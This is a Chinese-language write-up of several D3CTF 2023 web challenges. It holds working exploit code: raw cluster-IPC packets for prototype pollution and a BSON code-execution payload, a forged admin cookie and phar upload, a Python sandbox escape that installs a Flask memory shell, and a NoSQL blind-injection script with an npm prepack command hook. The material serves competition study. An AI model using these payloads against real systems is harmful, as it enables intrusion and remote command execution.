D3CTF2023 部分Web writeup
做了几个简单的web,大家都好猛,阿巴阿巴
egg4shell
本地也许是通了,太菜了
在不看hint的时候,能解到原型链污染
首先docker先换个源,本地搭环境调试,其实不太懂为什么出题人不直接用node的image,可能是方便调试?怕因为环境被坑没改
FROM ubuntu:20.04
ARG DEBIAN_FRONTEND=noninteractive
RUN sed -i 's@//.*archive.ubuntu.com@//mirrors.ustc.edu.cn@g' /etc/apt/sources.list && \
apt-get update && apt-get install -y libcurl4-openssl-dev curl npm && \
curl -sL https://deb.nodesource.com/setup_16.x | bash - && \
apt-get install -y nodejs
COPY src /app
COPY run.sh /
COPY readflag /
COPY flag /
RUN chmod 400 /flag && chmod +x run.sh readflag && chmod +s /readflag && \
cd /app && npm install --build-from-source --registry=http://registry.npmmirror.com
ENTRYPOINT [ "/run.sh" ]
建议再改一下run.sh,方便动调,vscode进docker后,启动JavaScript调试终端手动启动
DEBUG=* `npm bin`/egg-scripts start --workers=1 --title=egg-server-egg4shell
代码审计
此处可以ssrf,支持file,http,gopher等协议
此处大概率存在原型链污染
探索
利用ssrf
因为有ssrf漏洞,所以大概率是打内网服务,使用netstat
等命令发现,egg
会开启一个clusterPort
用于进程间通信
https://www.eggjs.org/zh-CN/core/cluster-and-ipc
https://www.eggjs.org/zh-CN/advanced/cluster-client
基本上是这个解题方向,在docker内抓包后发现,过滤clusterPort
,存在这样的通信流量
那么有一个猜想就是,根据前面的ssrf发gopher包,发给clusterPort
,可能可以直接反序列化,也可能调用函数方法等RCE
直接发heartbeat
这样的流量没有回显,在杀死一个worker
后抓包,发现需要先注册再订阅才能收到订阅消息
这里演示注册和订阅的流量
import socket
HOST = '127.0.0.1'
PORT = 46569
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((HOST, PORT))
cmds = b"""\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x4f\x00\x00\xea\x60\x00\x00\x00\x33\x00\x00\x00\x00\x7b\x22\x74\x79\x70\x65\x22\x3a\x22\x72\x65\x67\x69\x73\x74\x65\x72\x5f\x63\x68\x61\x6e\x6e\x65\x6c\x22\x2c\x22\x63\x68\x61\x6e\x6e\x65\x6c\x4e\x61\x6d\x65\x22\x3a\x22\x57\x61\x74\x63\x68\x65\x72\x22\x7d"""
s.sendall(cmds)
data = s.recv(1024)
print('Rcv', repr(data))
cmds = b"""\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x50\x00\x00\xea\x60\x00\x00\x00\x53\x00\x00\x00\x00\x7b\x22\x74\x79\x70\x65\x22\x3a\x22\x73\x75\x62\x73\x63\x72\x69\x62\x65\x22\x2c\x22\x6b\x65\x79\x22\x3a\x22\x24\x24\x69\x6e\x6e\x65\x72\x24\x24\x5f\x5f\x5c\x22\x2f\x74\x6d\x70\x2f\x73\x6e\x61\x70\x73\x68\x6f\x74\x73\x2f\x5c\x22\x22\x2c\x22\x72\x65\x67\x22\x3a\x22\x2f\x74\x6d\x70\x2f\x73\x6e\x61\x70\x73\x68\x6f\x74\x73\x2f\x22\x7d"""
s.sendall(cmds)
data = s.recv(1024)
print('Rcv', repr(data))
效果如下
审计cluster-client
egg
的进程间通信基于cluster-client
库,序列化和反序列化使用serialize-json
库,不存在直接反序列化rce的可能性
最主要的是下面这两个文件
/app/node_modules/cluster-client/lib/leader.js
/app/node_modules/cluster-client/lib/follower.js
在审计时发现了有意思的invoke
方法,在这里应该是可以调用其他方法
发现好像只能调用this._realClient
中存在的方法,就算结合原型链污染,也不大可能能污染上函数
停滞
到这里基本上就停住了,因为不知道方向,该污染什么东西能导致rce了
直到最后几个小时出题人给了hint
https://github.com/advisories/GHSA-prm5-8g2m-24gg
实际上该洞发生在bson
库中,在项目中全局搜,确实发现使用了bson
库
https://paper.seebug.org/2059/
具体漏洞看上面两个文章就够了
疯狂debug
网上查阅文章后,大概思路如下,使用gopher向watcher
发包,原型链污染evalFunctions
,访问恶意server
,响应头中包含_bsontype
和code
字段,在/query
路由查询结果时触发漏洞,命令执行
原型链污染
首先要构造通信流量,使用原生库生成,demo如下
const Packet = require('/app/node_modules/cluster-client/lib/protocol/packet');
const S_JSON = require('/app/node_modules/serialize-json/lib/index.js');
const Constant = require('/app/node_modules/cluster-client/lib/const.js');
const aa = new Packet({
id: 337,
type: Constant.REQUEST,
connObj: { type: 'invoke', method: "_onChange", argLength: 1 },
timeout: 60000,
data: S_JSON.encode({
aaaaaaa: "aaaaaaa",
path: '/tmp/snapshots/__proto__/evalFunctions',
remove: false,
isDirectory: false,
isFile: true,
event: true,
})
}).encode();
invoke
函数调用_onChange
可以触发this.app.watcher.watch
path
要包括/tmp/snapshots/
前四个字节实际上是长度,当时懒得算了,直接多输几个aaa吞掉不影响
污染成功
demo
import socket
HOST = '127.0.0.1'
PORT = 43319
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((HOST, PORT))
cmds = b"""\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x4f\x00\x00\xea\x60\x00\x00\x00\x33\x00\x00\x00\x00\x7b\x22\x74\x79\x70\x65\x22\x3a\x22\x72\x65\x67\x69\x73\x74\x65\x72\x5f\x63\x68\x61\x6e\x6e\x65\x6c\x22\x2c\x22\x63\x68\x61\x6e\x6e\x65\x6c\x4e\x61\x6d\x65\x22\x3a\x22\x57\x61\x74\x63\x68\x65\x72\x22\x7d"""
s.sendall(cmds)
data = s.recv(1024)
print('Rcv', repr(data))
cmds = bytes.fromhex("""0100000000000000000001510000ea60000000340000007c7b2274797065223a22696e766f6b65222c226d6574686f64223a225f6f6e4368616e6765222c226172674c656e677468223a317d616161616161617c616161616161617c706174687c2f746d702f736e617073686f74732f5f5f70726f746f5f5f2f6576616c46756e6374696f6e737c72656d6f76657c69734469726563746f72797c697346696c657c6576656e745e5e5e5e24307c317c327c337c347c2d327c357c2d327c367c2d317c377c2d315d""")
s.sendall(cmds)
data = s.recv(1024)
print('Rcv', repr(data))
插入恶意数据
这个比较简单,只要在写入数据库中的数据插入两个变量_bsontype
和code
,这里起个flask
from flask import Flask, request, make_response
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def challenge_3():
response = make_response("123456")
response.headers['_bsontype'] = 'Code'
response.headers['code'] = """1;require('child_process').execSync('touch /tmp/123.txt');delete Object.prototype.evalFunctions"""
return response
if __name__ == "__main__":
app.run(host="0.0.0.0", port=12332, debug=True)
触发bson命令执行
理想情况下,访问/query
路由,恶意代码从数据库中传出,到egg
容器中的bson
库中代码执行
污染后服务器就会崩掉,访问/query
路由会报错
具体报错是
field 'OperationSessionInfo.lsid.evalFunctions' is an unknown field
大概是因为数据库会和egg
存在这样的通信流量
根据这个师傅的说法是需要条件竞争
因为这个比较麻烦,打一次崩一次,重启服务很麻烦,本地打了五六次才成功一次,最后几分钟远程也来不及打了
未解决的问题
本地用socket打得通,用gopher就有点小问题
d3dolphin
访问admin.php进入后台
审计代码后发现,is_signin
函数有缺陷,可以伪造登录signin_token
$signin_token = data_auth_sign($user['username'].$user['id'].$user['last_login_time']);
首页log.txt给了admin用户的最后登录时间,要减八小时改成utc时间
sha1(“0=admin1” + “1301984359”)
Cookie: dolphin_uid=1; dolphin_signin_token=ab5f486a24426d9158c99507da45ae3bac476dd6
带着这样的cookie访问页面,session就会被标记为登录状态
根据之前rce文章,找类似入口
在启用门户模块后,找到添加客服位置,插入函数名和参数
dolphin对函数名称也有一些过滤
phpinfo
disable_function
如下
passthru,exec,system,chroot,chgrp,chown,shell_exec,popen,proc_open,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_waitpid,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv,putenv
这里只有只能指定一个函数名,一个参数,可以用tp的反序列化链写马
说个坑,burpsuite在拦截窗口更改字符串可能导致字不可见字符变化,痛失一血
上传的接口稍微看看代码绕过图片检查就行
import requests
burp0_url = "http://xxx/admin.php/admin/attachment/upload?dir=./&module=admin"
burp0_cookies = {"PHPSESSID": "jg17osu5751b82gtri8o4mrpgj"}
data = {
"file": ("phar.zip", open(r'phar.phar', "rb")),
"size": "471",
"name": "phar.zip",
"type": "image/gif",
}
requests.post(burp0_url, cookies=burp0_cookies, files=data)
后面一把梭/readflag
EscapePlan
int(False)==0
~int(False)==-1
-~int(False)==1
用编码绕过函数名
“𝐚𝐛𝐜𝐝𝐞𝐟𝐠𝐡𝐢𝐣𝐤𝐥𝐦𝐧𝐨𝐩𝐪𝐫𝐬𝐭𝐮𝐯𝐰𝐱𝐲𝐳𝐀𝐁𝐂𝐃𝐄𝐅𝐆𝐇𝐈𝐉𝐊𝐋𝐌𝐍𝐎𝐏𝐐𝐑𝐒𝐓𝐔𝐕𝐖𝐗𝐘𝐙”
从request变量传递payload
正好最近研究了flask的内存马,写完直接执行命令
import base64
import requests
exp = '(msg:=𝐬𝐭𝐫(request))and(𝐞𝐯𝐚𝐥(msg[int(True)'+"-~int(False)"*37+':int(True)'+"-~int(False)"*166+']))'
r = requests.post("""http://xxx/?app.before_request_funcs.setdefault(None,list()).append(lambda:__import__('os').popen(request.args.get('shell','whoami')).read())""", data={"cmd": base64.b64encode(exp.encode())})
print(r.text)
d3node
进去f12看见hint1
根据hint1可以知道存在nosql注入,过滤了一些,但可以用正则
{"username": {"$regex": "admin"}, "password": {"$regex": "" }}
进去看前端源码 信息搜集发现一些路由和hint2
其读取文件是直接将传入的filename放进去的,存在任意文件读取
/dashboardIndex/ShowExampleFile?filename=/etc/passwd
尝试读 app.js
发现回显 hacker
这里可以利用readFileSync
的特性来绕,传递一个满足条件的对象,将app.js
进行url编码绕过(相关分析网上都能找到,这里不多做解释)
读 app.js
/dashboardIndex/ShowExampleFile?filename[href]=aa&filename[origin]=aa&filename[protocol]=file:&filename[hostname]=&filename[pathname]=/proc/self/cwd/%2561%2570%2570%252e%256a%2573
根据app.js
可还原出源码,审计代码发现会执行 /dashboardIndex/PackDependencies 路由会执行 npm pack
prepack可以在pack前执行命令
{
"name": "d3ctf2023",
"version": "1.0.0",
"dependencies": {
...
},
"scripts": {
"prepack": "/readflag >> /tmp/123.txt"
}
}
前面nosql盲注注出admin密码登录
import requests
remoteHost = "xxxx"
burp0_url = f"http://{remoteHost}/user/LoginIndex"
dict_list = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_0123456789"
password = ""
for i in range(50):
for i in dict_list:
burp0_json={"password": {"$regex": f"^{password + i}.*"}, "username": {"$regex": "admin"}}
res = requests.post(burp0_url, json=burp0_json, allow_redirects=False)
if res.status_code == 302:
password += i
print(password)
break
admin/dob2xdriaqpytdyh6jo3
然后依次按接口发包即可
/dashboardIndex/SetDependencies
/dashboardIndex/PackDependencies
/dashboardIndex/ShowExampleFile?filename=/tmp/123.txt